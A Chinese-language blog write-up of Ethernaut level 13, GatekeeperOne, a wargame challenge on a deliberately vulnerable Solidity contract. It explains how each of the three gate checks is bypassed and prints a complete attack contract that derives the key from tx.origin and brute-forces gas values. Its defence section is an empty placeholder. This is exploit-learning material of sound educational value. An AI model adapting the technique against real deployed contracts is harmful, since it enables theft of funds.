# 智能合约黑客攻击 Ethernaut:  
 13. GatekeeperOne

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-28

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

把 entrant 变量的地址改为自己。

Hack思路
------

需要调 enter 方法，而且得通过3个装饰器的检查。

*   gateOne 第一个检查 **msg.sender != tx.origin** 只要用另外一个合约转一下就可以通过
    
*   gateTwo 需要满足一个特殊剩余 gas , 可以粗暴的循环尝试
    
*   gateThree 满足一个特殊的 key
    

gateThree 通过条件：

    // 0x 0000 0000 1111 [1111] == 0x 0000 0000 0000 [1111] 括号里的值相等
    uint32(uint64(_gateKey)) == uint16(uint64(_gateKey) 
    
    // 0x 0000 0000 [0000 0000] == 0x 0000 0000 [0000 0000] 括号里的值不相等
    uint32(uint64(_gateKey)) != uint64(_gateKey)
    
    // 0x 0000 0000 0000 [0000] == 0x 0000 0000 0000 [0000] 括号里的值和玩家地址相等
    uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)
    
    // 最终舒输入
    // tx.origin && 0x FFFF FFFF 0000 FFFF
    // 0x 89D342ac29e7f2BF57382E2190a69976 [0000] 5c31 括号里的变0，其他随意
    

攻击代码

    interface IGatekeeperOne {
        function enter(bytes8 _gateKey) external returns (bool);
    }
    
    contract GatekeeperOneHack {
        IGatekeeperOne public exploitInst;
    
        constructor(address _target) {
            exploitInst = IGatekeeperOne(_target);
        }
    
        function attack() public payable {
            bytes8 _gateKey = bytes8(uint64(uint160(address(tx.origin)))) & 0xFFFFFFFF0000FFFF;
            uint256 modNum = 8191;
            uint256 gasToUse = 800_000;
            for (uint256 i = 0; i <= modNum; i++) {
                try exploitInst.enter{ gas: gasToUse + i }(bytes8(_gateKey)) {
                    // success
                    break;
                } catch {
                    // fail ...
                }
            }
        }
    }
    

Hack案例
------

…

防范思路
----

…

参考资料
----

….

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-13-gatekeeperone)*
